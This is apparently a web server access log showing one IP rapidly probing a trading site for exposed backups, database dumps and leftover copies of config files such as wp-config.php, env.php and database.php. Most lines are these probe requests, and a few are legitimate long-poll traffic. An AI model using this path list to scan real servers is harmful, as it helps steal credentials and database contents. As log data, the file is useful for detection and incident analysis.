[09/Jan/2026:10:57:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.Z HTTP/1.1" 196
[09/Jan/2026:10:57:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.Z HTTP/1.1" 196
[09/Jan/2026:10:57:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml~ HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.tgz HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.Z HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.db HTTP/1.1" 196
[09/Jan/2026:10:57:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.Z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini~ HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.jar HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.Z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sqlite HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.Z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.Z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.Z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927718727 HTTP/1.1" -
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.war HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.7z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927717637 HTTP/1.1" -
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.bz2 HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.gz HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.lz HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak~ HTTP/1.1" 196
[09/Jan/2026:10:57:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php~ HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.rar HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php! HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config! HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.xz HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php! HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.zip HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php! HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php! HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.Z HTTP/1.1" 196
[09/Jan/2026:10:57:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tgz HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.db HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.jar HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927734233 HTTP/1.1" -
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php! HTTP/1.1" 196
[09/Jan/2026:10:57:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.save HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.save HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php! HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.save HTTP/1.1" 196
[09/Jan/2026:10:57:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php! HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.save HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config! HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.old HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927723923 HTTP/1.1" -
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php! HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.old HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.war HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php! HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.old HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.tar HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php! HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.tar.z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.old HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.7z HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php! HTTP/1.1" 196
[09/Jan/2026:10:57:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.old HTTP/1.1" 196
